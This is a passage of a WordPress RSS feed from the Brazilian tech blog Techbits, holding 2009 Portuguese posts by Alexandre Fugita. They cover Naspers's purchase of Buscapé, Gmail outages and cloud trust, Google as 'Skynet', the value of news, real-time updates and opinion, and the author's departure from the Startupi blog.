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										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/09/buscape.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-727" title="buscape" src="https://techbits.com.br/wp-content/uploads/2009/09/buscape.png" alt="buscape" width="210" height="60" /></a>Claro, estou exagerando. Mas quem acompanhou as notícias de ontem sabe que <a id="il6o" title="a sul africana Naspers comprou 91% do grupo Buscapé por US$ 342 milhões" href="http://idgnow.uol.com.br/mercado/2009/09/29/conglomerado-naspers-compra-buscape/">a sul africana Naspers comprou 91% do grupo Buscapé por US$ 342 milhões</a>. É uma quantia significativa por um negócio web brasileiro e mostra o quanto a <a id="q_3-" title="Naspers/ MIH" href="http://www.naspers.com">Naspers/ MIH</a> está interessada no mercado tupiniquim. A MIH é o braço digital e tem participações em outras empresas do círculo web brasuca como a WebCo e na Compera nTime, além da Abril Digital. Neste texto uma breve descrição dos interesses da Naspers no Brasil.</p>
<h3>Buscapé</h3>
<p>O <a id="gil." title="Buscapé" href="http://buscape.com.br">Buscapé</a> é o maior player do mercado nacional de comparação de preços. O site tem uma história daquelas das startups de garagem. Tudo começou com um servidor na casa de um dos fundadores e tornou-se um gigante do e-commerce brasileiro. A compra da participação pelo grupo sul africano é seu pontapé no mercado de comércio eletrônico brasileiro.</p>
<h3>WebCo</h3>
<p>A <a id="n6y3" title="WebCo" href="http://webcointernet.com">WebCo</a> &#8211; o site deles está fora do ar &#8211; cuida de aplicativos sociais e web como o <a id="n:bf" title="Blogblogs" href="http://blogblogs.com.br/">Blogblogs</a> e o <a id="nuor" title="Brasigo" href="http://brasigo.com.br/">Brasigo</a>. Com bastante dinheiro para investir a WebCo tinha um grande e impressionante escritório na Chácara Santo Antônio (bairro de SP) mas agora está no prédio da Editora Abril.</p>
<p>O Manoel Lemos, fundador do Blogblogs e hoje CTO da Abril Digital, criou o Blogblogs para aprender Ruby on Rails e conta que o primeiro robô que soltou para procurar blogs <a id="gm6z" title="achou 40 mil deles enquanto o Manoel tinha ido ao cinema" href="http://www.nerdgames.net/blog/entrevista-com-manoel-lemos-o-criador-do-blogblogs/">achou 40 mil deles enquanto ele tinha ido ao cinema</a>.</p>
<p>O Brasigo existe faz cerca de um ano e é uma rede social de perguntas e respostas e concorre com pesos pesados como o Yahoo! Respostas, tradicional e bastante forte no Brasil.</p>
<h3>Compera nTime</h3>
<p>A <a id="g6d5" title="ComperaNTime" href="http://www.comperantime.com">Compera nTime</a> produz aplicativos sociais e móveis como por exemplo o Diário Celular, um mix de Twitter com SMS que &#8220;roda&#8221; dentro do Orkut. Tem parcerias com operadoras de celular brasileiras para alguns aplicativos usados em suas redes que vão de quiz (perguntas e respostas) até softwares relacionados à música e ringtones. <a id="dfdb" title="A Naspers detém 49% da Compera há cerca de um ano" href="http://www.comperantime.com/pt/noticias/noticia9.html">A Naspers detém 49% da Compera há cerca de um ano</a>.</p>
<h3>Abril Digital</h3>
<p>A Naspers possui exatos 30% da Editora Abril. Provavelmente não detém mais pois a lei proíbe participação maior do que isso de capital estrangeiro em grupos de mídia. O provável interesse da Naspers na Abril é a área digital e não a impressa. Tanto isso é verdade que a Abril Digital é dona da WebCo e seu fundador é também CTO da Abril Digital como já havia citado.</p>
<p>Um aplicativo que surgiu dessa união é o <a id="fa9q" title="PinFotos" href="http://pinfotos.abril.com.br">PinFotos</a> (<a id="y-x2" title="já escrevi sobre ele aqui" href="http://startupi.com.br/2009/pinfotos-precisa-melhorar/">já escrevi sobre ele aqui</a>), uma espécie de Flickr, ou seja, novamente concorrendo com um produto Yahoo!.</p>
<p>Um possível resultado dessa parceria é a Naspers conseguir fazer o negócio digital da Abril começar a dar dinheiro para substituir o meio impresso como geradora de receitas.</p>
<h3>Oportunidades</h3>
<p>É sempre interessante ver grupos estrangeiros interessados no Brasil principalmente no mercado de internet. Aqui o mercado de startups web é crescente &#8211; eu sei, o Buscapé não é uma startup, vamos dizer assim &#8211; mas ainda está longe do que acontece nos EUA, por exemplo. A visibilidade que a Naspers deve dar ao Brasil com mais essa aquisição pode ajudar a desenvolver o mercado nacional de startups web. Que o Brasil tenha seu próprio vale do silício!</p>
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		<title>A questão da nuvem e o Gmail</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 25 Sep 2009 01:29:38 +0000</pubDate>
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					<description><![CDATA[<p>Está virando rotina o Gmail sair do ar e o mundo todo questionar se o serviço é confiável para manter todos os seus e-mails e várias informações importantes em servidores na internet. Principalmente empresas que são o foco do Google Apps e que ao verem notícias deste tipo ficam com um pé atrás em confiar na [&#8230;]</p>
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										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-705" title="gmail-logo" src="https://techbits.com.br/wp-content/uploads/2009/09/gmail-logo.png" alt="gmail-logo" width="200" height="148" />Está virando rotina o <a id="c4qq" title="Gmail sair do ar" href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL1316728-6174,00-SERVICO+DE+EMAIL+DO+GOOGLE+VOLTA+A+APRESENTAR+PROBLEMAS+DE+INSTABILIDADE.html">Gmail sair do ar</a> e o mundo todo questionar se o serviço é confiável para manter todos os seus e-mails e várias informações importantes em servidores na internet. Principalmente empresas que são o foco do Google Apps e que ao verem notícias deste tipo ficam com um pé atrás em confiar na nuvem.</p>
<p>O interessante a notar é que essas preocupações são na maioria das vezes exageradas. Sim, o Gmail já chegou a <a id="ct_8" title="ficar mais de 2 horas fora do ar" href="http://gmailblog.blogspot.com/2009/09/more-on-todays-gmail-issue.html">ficar mais de 2 horas fora do ar</a> no início deste mês &#8211; na verdade foi só a interface web &#8211; mas quantas horas o sistema corporativo de e-mails da sua empresa ficou indisponível no último ano? Certamente muito mais do que isso.</p>
<p>O que acontece é que a percepção dos problemas no Gmail são amplificadas pelo fato de o tempo todo em todos os lugares do mundo alguém estar usando a interface web do serviço. Somos 150 milhões, e se o Gmail cai um monte de gente percebe em segundos.</p>
<p>A maioria dos sistemas corporativos não tem tantos olhos atentos assim. Cem, duzentas pessoas. Mil, talvez 5 mil. E se o e-mail dessas pessoas fica inoperante não vira manchete nos portais e blogs. Ou seja, sistemas corporativos de e-mail podem ser bem mais instáveis que um Gmail, por exemplo, mas os departamentos de TI continuam morrendo de medo dessa história de nuvem.</p>
<p>Além disso a maioria dos ambientes corporativos usa algum tipo de cliente de e-mail, em geral o Outlook da Microsoft. E pelo que notei em praticamente todas as quedas recentes do Gmail o problema sempre foi na interface web e não que usa pop, imap ou exchange no seu cliente de e-mail favorito.</p>
<p>E esse problema do Gmail me fez lembrar uma conversa que tive com amigos no final de semana. Um deles resolveu que vai começar a usar mais a nuvem para armazenar informações. O motivo foi a recente necessidade de mandar o notebook para a assistência técnica e a preocupação com anos de dados acumulados em seu HD aos olhos de estranhos. Já o outro ainda se diz cético em relação a manter seus dados em um servidor pela internets.</p>
<p>Claro, cada um faz do jeito que achar melhor. Eu já percebi que desde passei a usar o Gmail em Julho de 2004 &#8211; nossa, tanto tempo assim? &#8211; nunca mais precisei me preocupar com backups de mensagens ou e-mails perdidos. Enquanto isso milhares de HDs de computadores pessoais e notebooks pifaram e pessoas ficaram a ver navios. Pra que usar a nuvem se eu posso me divertir perdendo informações (fotos, emails, música) e fazendo backups?</p>
<p><strong>Leitura recomendada:</strong></p>
<ul>
<li><a href="http://peixefresco.net/2009/artigo/o-quanto-voce-quer-viver-na-nuvem/">O quanto você quer viver na nuvem?</a>, no Peixe Fresco</li>
</ul>
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		<title>Sinais de que Google = Skynet</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 17 Sep 2009 11:43:49 +0000</pubDate>
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					<description><![CDATA[<p>A mais recente compra do Google é o reCaptcha. O que parece ser uma simples compra de um serviço interessante indica uma tendência que a gigante de Montain View tem de querer fazer as máquinas entenderem o mundo. E é bem diferente da forma como o Wolfram Alpha vem fazendo. Seria tudo isso um protótipo [&#8230;]</p>
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										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/img/ext/hal9000.png"><img loading="lazy" decoding="async" class="alignnone" title="Google = Skynet = HAL ?" src="https://techbits.com.br/wp-content/uploads/img/ext/hal9000.png" alt="" width="200" height="200" /></a><a id="h9b4" title="A mais recente compra do Google" href="http://mashable.com/2009/09/16/google-acquires-recaptcha/">A mais recente compra do Google</a> é o <a id="u9hx" title="reCaptcha" href="http://recaptcha.net/">reCaptcha</a>. O que parece ser uma simples compra de um serviço interessante indica uma tendência que a gigante de Montain View tem de querer fazer as máquinas entenderem o mundo. E é bem diferente da forma como o <a id="w11-" title="Wolfram Alpha" href="http://www.wolframalpha.com/">Wolfram Alpha</a> vem fazendo. Seria tudo isso um protótipo da <a id="lc:2" title="Skynet" href="http://en.wikipedia.org/wiki/Skynet_(Terminator)">Skynet</a>? Acompanhe os sinais desse enigma.</p>
<h3>ReCaptcha: leitura</h3>
<p>O ReCaptcha é um serviço que se utiliza do <a id="n8vu" title="captcha" href="http://en.wikipedia.org/wiki/CAPTCHA">captcha</a> &#8211; aquelas letras tortas ou embaçadas que só um humano consegue entender &#8211; para ajudar no reconhecimento de palavras escaneadas de livros antigos e irreconhecíveis por softwares de OCR (reconhecimento ótico de caracteres).</p>
<p>É bastante simples e toda vez que é acionado mostra duas palavras &#8220;tortas&#8221;. Uma delas o ReCaptcha sabe qual é e a outra o serviço quer reconhecer. Se você acertar a palavra que eles sabem qual é, possivelmente a palavra não identificada também está correta. Joga-se isso algumas vezes para seres humanos e respostas idênticas indicam mais uma palavra reconhecida.</p>
<p>É o bom e velho <a id="x1yg" title="crowdsourcing" href="https://techbits.com.br/2006/esqueca-o-outsourcing-o-negocio-agora-e-o-crowdsourcing/">crowdsourcing</a>. Ou seja, com ajuda de humanos o ReCaptcha permite às máquinas identificarem palavras borradas de livros velhos.</p>
<h3>Google Voice Search: fonemas</h3>
<p>A busca por voz que existe no Android e no iPhone, nada mais é do que, além de uma coisa legal para mostrar para os amigos, uma forma de capturar fonemas dos mais variados sotaques, entonações, emoções. Cada busca que alguém faz neste aplicativo móvel ajuda de alguma forma aos computadores do Google a melhorar o reconhecimento da voz humana.</p>
<p>Um sinal de que esse reconhecimento de voz está muito bom foi o fato do Google, no ano passado, <a id="ork2" title="ter transcrito discursos dos candidatos à presidência dos EUA no Youtube" href="http://www.undergoogle.com/blog/2008/destaques/qual-sera-o-futuro-das-transcricoes-do-youtube.html">ter transcrito discursos dos candidatos à presidência dos EUA no Youtube</a>. Ou seja, computadores entendendo todos os sotaques e trejeitos da nossa fala.</p>
<h3>Google Translate: poliglota</h3>
<p>O tradutor do Google utiliza de um algoritmo matemático poderoso que analisa as palavras em conjunto e tenta mostrar a melhor tradução possível. <a id="pz5g" title="Claro que comete erros banais" href="http://news.cnet.com/8301-13577_3-9857280-36.html">Claro que comete erros banais</a> mas não deixa de ser interessante que cada vez mais novas línguas são adicionadas. <a id="zof2" title="Surgiu até um serviço" href="http://translationparty.com/#4223043">Surgiu até um serviço</a> que tenta achar o equilíbrio em uma tradução do Google, do inglês para o japonês e vice-versa. O sistema usa o Google Translator para traduzir uma frase digitada pelo usuário de uma língua para a outra e vice-versa <a id="bsts" title="até achar o equilíbrio" href="http://googlesystem.blogspot.com/2009/08/google-translate-equilibrium.html">até achar o equilíbrio</a>.</p>
<p>Mas o que isso tem a ver com a Skynet? Bom, a gigante de Montain View está construindo uma máquina que fala qualquer língua e já implementou no novíssimo Wave permitindo conversas instantâneas entre pessoas que falam idiomas diferentes. Imagina isso junto com o reconhecimento de voz&#8230;</p>
<h3>Primeiro de Abril?</h3>
<p>Como de costume o Google fez as suas brincadeiras de primeiro de Abril. E uma delas foi o <a id="fpz8" title="CADIE" href="http://www.google.com/intl/en_us/landing/cadie/">CADIE</a>, uma máquina que tomou consciência de sua existência e no<a id="cbbi" title="vídeo que divulga isso" href="http://www.youtube.com/watch?v=vc5GeYxsnYI">vídeo que divulga isso</a> dá um toque de Exterminador do Futuro (<a id="l1ep" title="Skynet" href="http://en.wikipedia.org/wiki/Skynet_(Terminator)">Skynet</a>), junto com 2001: Uma Odisséia no Espaço (<a id="buy-" title="HAL" href="http://en.wikipedia.org/wiki/HAL_9000">HAL</a>) e resolve assumir a direção da empresa, no caso o Google&#8230; Claro que é uma piada mas não seria algum projeto dos 20% que quase escapou do controle? :-)</p>
<h3>Marissa Mayer</h3>
<p>A super executiva do Google Marissa Mayer em uma entrevista com o fundador do Digg <a id="acbm" title="foi perguntada se o Google é a Skynet" href="http://www.youtube.com/watch?v=-LVSnoJZHmM&amp;feature=player_embedded#t=1260">foi perguntada se o Google é a Skynet</a> (sim, link para o vídeo). A resposta foi não, óbvio, as máquinas não deixaram, mas o que ela disse em seguida é interessante. Marissa diz que o Google acredita em fazer os computadores ficarem mais espertos, no sentido de entender o mundo ao nosso redor. Isso dá um basta na questão&#8230; por enquanto!</p>
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		<title>Web 101 na Teia</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Sat, 12 Sep 2009 19:12:36 +0000</pubDate>
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					<description><![CDATA[<p>Em junho fui à Teia MG para participar de um dos Encontros na Teia, projeto interessante desenvolvido pelo pessoal do Peabirus e que entrevista ou faz um bate-papo com hubs da web. Já passaram por lá pessoas como o Gil Giardelli, da Permission, Edney Souza, do Interney Blogs ou ainda o Marcelo Tas, do CQC. [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/09/encontros-na-teia.jpg"><img loading="lazy" decoding="async" src="https://techbits.com.br/wp-content/uploads/2009/09/encontros-na-teia.jpg" alt="encontros-na-teia" title="encontros-na-teia" width="250" height="120" class="alignnone size-full wp-image-466" /></a>Em junho fui à Teia MG para participar de um dos <a id="euke" title="Encontros na Teia" href="http://encontrosnateia.wordpress.com/">Encontros na Teia</a>, projeto interessante desenvolvido pelo pessoal do Peabirus e que entrevista ou faz um bate-papo com hubs da web. Já passaram por lá pessoas como o <a id="blwy" title="Gil Giardelli" href="http://gilgiardelli.wordpress.com/">Gil Giardelli</a>, da Permission, <a id="qf6." title="Edney Souza" href="http://interney.net">Edney Souza</a>, do Interney Blogs ou ainda o <a id="gh47" title="Marcelo Tas" href="http://marcelotas.blog.uol.com.br/">Marcelo Tas</a>, do CQC.</p>
<p>O formato da minha participação foi uma apresentação sobre conceitos básicos de web. Essa parte acho importante para todos que trabalham ou pretendem trabalhar neste mercado. E é por isso que estou republicando os vídeos aqui, <a id="o_hm" title="três meses após a transmissão" href="http://encontrosnateia.wordpress.com/2009/06/06/alexandre-fugita-starups-web/">três meses após a transmissão</a>, pois é como se fosse uma recapitulação de vários posts deste blog. Falo de colaboração, crowdsourcing, cauda longa, economia da atenção, sabedoria das multidões, etc.</p>
<p>Em seguida respondi a perguntas enviadas pelos internautas que, ou acompanharam ao vivo ou haviam enviado questionamentos para votação antes. Se tiver um tempinho e não viu isso antes quando publiquei no Startupi, dê uma olhada. O tempo total deve ser cerca de oitenta minutos, a parte dos conceitos web fica na primeira metade. Os vídeos estão após a quebra de página ou na <a id="m-d8" title="página do blog do Encontros na Teia" href="http://encontrosnateia.wordpress.com/2009/06/06/alexandre-fugita-starups-web/">página do blog do Encontros na Teia</a>. Aliás, no post deles tem uma historinha curiosa que aconteceu comigo e que envolveu café, <a href="http://farm4.static.flickr.com/3419/3216343728_ec050d6ee8.jpg">uma Ferrari</a> e Twitter e quem conta é a entrevistadora <a href="http://twitter.com/julima">Juliana Lima</a>!<br />
<span id="more-463"></span></p>
<p>PARTE I:<br /> <br />
<span style="display:block;width:425px;margin:0 auto;"> <embed src='http://widgets.vodpod.com/w/video_embed/Groupvideo.3152032' type='application/x-shockwave-flash' AllowScriptAccess='always' pluginspage='http://www.macromedia.com/go/getflashplayer' wmode='transparent' flashvars='autoplay=false&amp;vid=3776%2F1005595' width='425' height='350' /></span></p>
<p></br></p>
<p>PARTE II:<br /> <br />
<span style="display:block;width:425px;margin:0 auto;"> <embed src='http://widgets.vodpod.com/w/video_embed/Groupvideo.3152040' type='application/x-shockwave-flash' AllowScriptAccess='always' pluginspage='http://www.macromedia.com/go/getflashplayer' wmode='transparent' flashvars='autoplay=false&amp;vid=3776%2F1005607' width='425' height='350' /></span></p>
<p></br></p>
<p>PARTE III:<br /> <br />
<span style="display:block;width:425px;margin:0 auto;"> <embed src='http://widgets.vodpod.com/w/video_embed/Groupvideo.3152047' type='application/x-shockwave-flash' AllowScriptAccess='always' pluginspage='http://www.macromedia.com/go/getflashplayer' wmode='transparent' flashvars='autoplay=false&amp;vid=3776%2F1005609' width='425' height='350' /></span></p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2009/web-101-na-teia/">Web 101 na Teia</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>O valor da informação</title>
		<link>https://techbits.com.br/2009/o-valor-da-informacao/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 10 Sep 2009 10:20:31 +0000</pubDate>
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		<category><![CDATA[web]]></category>
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					<description><![CDATA[<p>Faz uns três anos que parei de ler diariamente jornal, daqueles impressos. Isso não quer dizer de forma alguma que fiquei sem me informar. Naquela época comecei a notar que a maioria das notícias do jornal acabava lendo no dia anterior na interwebs e que não fazia mais sentido acompanhar o mundo com um dia [&#8230;]</p>
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										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/09/informacao-gratis-estadao.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-456" title="Se hoje a informação é de graça..." src="https://techbits.com.br/wp-content/uploads/2009/09/informacao-gratis-estadao.png" alt="Se hoje a informação é de graça..." width="250" height="109" /></a>Faz uns três anos que parei de ler diariamente jornal, daqueles impressos. Isso não quer dizer de forma alguma que fiquei sem me informar. Naquela época comecei a notar que a maioria das notícias do jornal acabava lendo no dia anterior na interwebs e que não fazia mais sentido acompanhar o mundo com um dia de atraso. Hoje enxergo três tipos de informação que consumo: as em tempo real, as opiniões e as notícias. E cada uma tem o seu valor. Neste post vou tentar explicar como enxergo esse valor e o impacto que a internet tem em cada uma delas.</p>
<h3>Notícias</h3>
<p>Um <a id="g_c:" title="jornal impresso" href="http://en.wikipedia.org/wiki/Newspaper">jornal impresso</a> é repleto de notícias. Tem outras coisas mas o seu principal material são as notícias. Do dia anterior&#8230; quando não tem dois dias de atraso como é o caso do volumoso jornal de domingo. O grande problema é que com a internet a notícia simplesmente virou <a id="d2-d" title="commodity" href="http://en.wikipedia.org/wiki/Commodity">commodity</a>. E é isso que tem incomodado os grandes grupos de imprensa do mundo.</p>
<p>Quando abrimos o <a id="ia4v" title="Google News" href="http://news.google.com">Google News</a>, por exemplo, vemos lá que o Steve Jobs voltou a apresentar um keynote (imagem abaixo). Ok, notícia interessante, mas onde ler? O Google News dá algumas opções principais e coloca no final um link para mais 171 artigos semelhantes. Praticamente todos eles devem falar quase a mesma coisa: Steve Jobs apareceu, Apple lançou iPod nano que permite filmar e atualizou o sistema do iPhone para versão 3.1. Tanto faz se você ler no <a id="tfny" title="G1" href="http://g1.globo.com/Noticias/Economia_Negocios/0,,MUL1298616-9356,00-STEVE+JOBS+REAPARECE+PARA+LANCAR+NOVIDADES+DA+APPLE.html">G1</a>, <a id="nffd" title="no Estadão" href="http://www.estadao.com.br/noticias/economia,steve-jobs-reaparece-para-lancar-novidades-da-apple,432001,0.htm">no Estadão</a>, <a id="wk_:" title="no Terra" href="http://tecnologia.terra.com.br/interna/0,,OI3966273-EI4801,00.html">no Terra</a>, no&#8230; pois é&#8230; em qualquer lugar.</p>
<p><a href="https://techbits.com.br/wp-content/uploads/2009/09/gnews.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-455" title="Google News e seus 1758695 links" src="https://techbits.com.br/wp-content/uploads/2009/09/gnews.png" alt="Google News e seus 1758695 links" width="399" height="224" srcset="https://techbits.com.br/wp-content/uploads/2009/09/gnews.png 399w, https://techbits.com.br/wp-content/uploads/2009/09/gnews-300x168.png 300w" sizes="auto, (max-width: 399px) 100vw, 399px" /></a></p>
<p>Como disse a notícia por si só é commodity, tanto faz o lugar que você a está lendo. E isso se for na internet. Imagina esperar para ler só no dia seguinte que é o que um jornal faz. Realmente não dá certo e é esse um dos motivos de eu achar o jornal impresso algo ultrapassado.</p>
<p>Antes que alguém reclame nos comentários, não estou dizendo que a <a id="ttk7" title="mídia tradicional morreu" href="http://www.time.com/time/business/article/0,8599,1877191,00.html">mídia tradicional morreu</a> e sim que o formato jornal impresso não é o mais apropriado para esse tipo de informação.</p>
<h3>Tempo real</h3>
<p>Um dos grandes benefícios que o Twitter trouxe certamente é a distribuição de informação rapidamente e muitas vezes em tempo real. Um outro é a possibilidade de controlar a taxa de sinal e ruído. O fato do tempo real estar na essência do Twitter torna esse tipo de informação muito valiosa.</p>
<p>Em geral os acontecimentos em tempo real também são notícias. Tanto é que alguns canais como blogs se utilizam do recurso de live-blogging para narrar acontecimentos como as apresentações do Steve Jobs. Aqui no Brasil o Henrique Martin do Zumo <a id="gt.t" title="estava em São Francisco fazendo a cobertura" href="http://zumo.uol.com.br/2009/09/09/apple-ao-vivo-de-san-francisco/">estava em São Francisco fazendo a cobertura</a>. E o tradicional Engadget é quase sempre meu ponto de apoio quando <a id="mqrf" title="quero acompanhar grandes lançamentos e eventos em tempo real" href="http://www.engadget.com/2009/09/09/live-from-apples-its-only-rock-and-roll-event/">quero acompanhar grandes lançamentos e eventos em tempo real</a>.</p>
<p>Muitos tuiteiros brasileiros quando vão a eventos como um recente, o <a id="li65" title="Digital Age 2.0" href="http://www.digitalage20.com.br/2009/">Digital Age 2.0</a> ou ainda o <a id="w16l" title="Blogcamp RJ" href="http://blogcamp.com.br/blogcamp-rj-2009-desconferencias-e-oficinas/">Blogcamp RJ</a>, inundam seus streamings públicos do Twitter com atualizações de quase cada palavra de um palestrante, além de outros detalhes.</p>
<p>O Read Write Web já fez vários artigos dizendo que o <a id="oly_" title="real time é o &quot;the next big thing&quot;" href="http://www.readwriteweb.com/archives/the_man_who_made_gmail_says_real-time_conversation.php">real time é o &#8220;the next big thing&#8221;</a>. Até o Google começou a se preocupar com isso pois seu mecanismo de busca sempre foi ótimo para coisas que aconteceram mas muito ruim para coisas que estão acontecendo naquele momento. E <a id="ai45" title="melhoraram o algoritmo de busca para absorver melhor o tempo real" href="http://www.techcrunch.com/2009/05/12/google-launches-search-options-declares-real-time-search-biggest-challenge/">melhoraram o algoritmo de busca para absorver melhor o tempo real</a>.</p>
<p>O grande diferencial da notícia ser dada em tempo real é que não deu tempo ainda de ela virar commodity. Mas meia hora depois 3517 links no Google News irão aparecer e daí concorrer a um lugar ao Sol. Mas é sempre bom saber que no Twitter sempre vai ter alguém em todos os lugares, <a id="lk2h" title="até mesmo quando um avião cai acidentalmente em um rio em Nova York" href="http://www.news.com.au/technology/story/0,28348,24920040-5014239,00.html">até mesmo quando um avião cai por acidente em um rio em Nova York</a>.</p>
<h3>Opinião</h3>
<p>Certa vez conversando com o <a id="lw4t" title="Eric Messa" href="http://twitter.com/ericmessa">Eric Messa</a>, professor da Faap e interneteiro, chegamos ao entendimento que <a id="l-47" title="para um blogueiro é melhor ser mais parecido com um colunista" href="http://www.messa.com.br/eric/ecode/2009/05/o-blogueiro-e-um-conteudista.html">para um blogueiro é melhor ser mais parecido com um colunista</a> do que um repórter atrás de notícias. Isso por que como já foi discutido neste post a notícia é commodity, e o grande diferencial que alguém pode tratar uma notícia é se divulgá-la em tempo real ou antes de todo mundo. E blogs não tem estrutura para isso. Ou pelo menos a maioria não.</p>
<p>Então o que resta ao intrépido blogueiro? Opinião. Tá certo que o <a id="o0ex" title="Andrew Keen já disse" href="http://www.talk2.com.br/geral/andrew-keen-e-o-lado-negro-da-web-dia-22-no-talkshow/">Andrew Keen já disse</a> que qualquer opinião não quer dizer nada e só posso concordar com ele. Mas uma opinião bem fundamentada, daquelas de dissertação da aula de redação do colégio sempre são bem vindas. E é esse o nicho que recomendo aos blogueiros, a parte mais difícil, reservada aos colunistas, que é a opinião.</p>
<p>Claro, um blog não precisa ser só opinião. É interessante a forma como o <a id="b8io" title="Tecnoblog tratou a sua reestruturação de conteúdo" href="http://tecnoblog.net/archives/introducing-tecnoblog-2-0.php">Tecnoblog tratou a sua reestruturação de conteúdo</a>, algo que já pensei em fazer no Techbits (ei, <a id="ip1f" title="Mobilon" href="http://twitter.com/Mobilon">Mobilon</a>, posso copiar a ideia?). Lá existe a home com colunistas e em outra área do blog as notícias sendo alimentadas. Faz todo o sentido para atingir uma grande público.</p>
<p>Acho que faltou citar aqui neste post coisas como revistas &#8211; boas para reportagens e análises aprofundadas &#8211; e também notícias locais, <a id="gt2c" title="esse que parece ser um nicho interessante a ser explorado" href="http://www.nytimes.com/2009/04/13/technology/start-ups/13hyperlocal.html">um nicho interessante a ser explorado</a>, bem como a personalização das notícias. Mas o texto já está grande demais para discutir mais coisas.</p>
<p>E pra finalizar, o grande valor da opinião é que ela não vai virar commodity e também não é efêmera quanto a informação em tempo real. E em um mundo de Google News e Twitter essa é a forma que diferencia qualquer um da multidão.</p>
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		<title>Desabafo de um blogueiro</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 04 Sep 2009 07:17:20 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[fugita]]></category>
		<category><![CDATA[startupi]]></category>
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					<description><![CDATA[<p>Olá a todos! Eu sei que faz muito tempo que não escrevo nada aqui no Techbits. Toda vez que encontro leitores, tuiteiros, blogueiros, amigos e até minha família, sou cobrado dos motivos de não mais escrever aqui. Bom, posso dizer que o Techbits é muito importante para mim e que pretendo continuar o trabalho sério [&#8230;]</p>
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										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/09/fugita.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-429" title="Fugita" src="https://techbits.com.br/wp-content/uploads/2009/09/fugita.jpg" alt="Fugita" width="250" height="157" /></a>Olá a todos! Eu sei que faz muito tempo que não escrevo nada aqui no Techbits. Toda vez que encontro leitores, tuiteiros, blogueiros, amigos e até minha família, sou cobrado dos motivos de não mais escrever aqui. Bom, posso dizer que o Techbits é muito importante para mim e que pretendo continuar o trabalho sério que mantive neste espaço nos anos anteriores. O blog estava morto e este é o post que o trará de volta. Mas antes preciso desabafar.</p>
<h3>Startupi</h3>
<p>No ano passado, mais ou menos nesta mesma época, um pouquinho depois talvez, recebi uma proposta para ser editor de um blog sobre startups web brasileiras. Achei a ideia ótima e depois de muitas conversas resolvi aceitar o desafio. Na época trabalhava na <a id="jjol" title="Polvora!" href="http://www.polvoracomunicacao.com.br/">Polvora!</a>, agência de mídias sociais do poderoso chefão da internet <a id="h4vo" title="Edney Souza" href="http://interney.net/">Edney Souza</a> e do grande <a id="m.0o" title="Mario Soma" href="http://msoma.wordpress.com/">Mario Soma</a>.</p>
<p>Não sei se todo mundo sabe mas o blog que estou falando é o <a id="vca2" title="Startupi" href="http://startupi.com.br/">Startupi</a>. Antes de aceitar criar o Startupi muitas coisas pesaram na minha avaliação. Consultei amigos e amigas sobre o que deveria fazer. Uma das coisas que me falaram foi &#8220;você tem capacidade de criar esse blog sozinho, não? Será que você precisa mesmo de sócios?&#8221;. Deveria ter escutado essa pessoa e vou explicar os motivos ainda neste texto.</p>
<p>Bom, para quem acompanhou o meu trabalho como blogueiro sabe que meu assunto principal sempre foi web, internet e coisas relacionadas. Adoro o assunto e leio muito sobre tudo isso. Para vocês terem uma ideia eu <a id="lapr" title="já votei em mais de 10 mil itens no Digg" href="http://digg.com/users/fupis">já votei em mais de 10 mil itens no Digg</a> e já mandei mais de <a id="r6j3" title="3 mil links para o delicious" href="http://delicious.com/fupis">3 mil links para o delicious</a>. Isso significa que eu devo ter clicado em pelo menos três vezes mais links do que isso no Digg, ou seja já abri mais de 30 mil textos selecionados no Digg e devo ter passado o olho em mais de 100 mil itens neste mesmo serviço. Fora o RSS, os links do Twitter e outros filtros. Ou seja, muita leitura e uma pegada de carbono gigantesca.</p>
<p>O Startupi &#8211; eu que criei este nome &#8211; foi apenas uma consequência de todo esse conhecimento e interesse acumulado. Antes mesmo de abrir o blog já conhecia muitos empreendedores web brasileiros, conhecia a história de suas ideias e como tudo se desenrolou. Nada mais natural do que ser editor do Startupi.</p>
<h3>Objetivos atingidos?</h3>
<p>As coisas estavam indo bem até onde eu sei. O blog estava com cerca de 7 meses quando escrevi lá meu último post. Nesses 7 meses várias coisas apontavam para o sucesso do blog.</p>
<p>Primeiramente os leitores. Não poderia querer leitores mais bem qualificados. Estavam lá, lendo, muitas pessoas ligadas a startups no Brasil, empreendedores, interessados, ou seja, todo o ecossistema, ou como se diz por aí no mundo corporativo, todos os stakeholders. Para se ter uma ideia da qualidade dos leitores do Startupi, <a id="t30h" title="o presidente do Mercado Livre Stelleo Tolda" href="http://mlonlinegeneration.wordpress.com/sobre-o-autor/">o presidente do Mercado Livre Stelleo Tolda</a> era leitor e <a id="k_22" title="frequentemente comentava" href="http://startupi.com.br/2009/drimio-rede-social-das-marcas/#comment-2018">frequentemente comentava</a> nos posts que achava mais interessantes.</p>
<p>Além disso, pelo que sei conversando com empreendedores, alguns negócios foram gerados após posts do blog. O <a id="wwda" title="migre.me" href="http://migre.me/">migre.me</a>, por exemplo, ficou sabendo do <a id="zoa2" title="Microsoft SOL" href="http://www.microsoftsol.com.br/">Microsoft SOL</a> através do Startupi, candidatou-se e conseguiu apoio da gigante de Redmond. Esse é apenas um dos exemplos que fiquei sabendo de negócios que o blog proporcionou.</p>
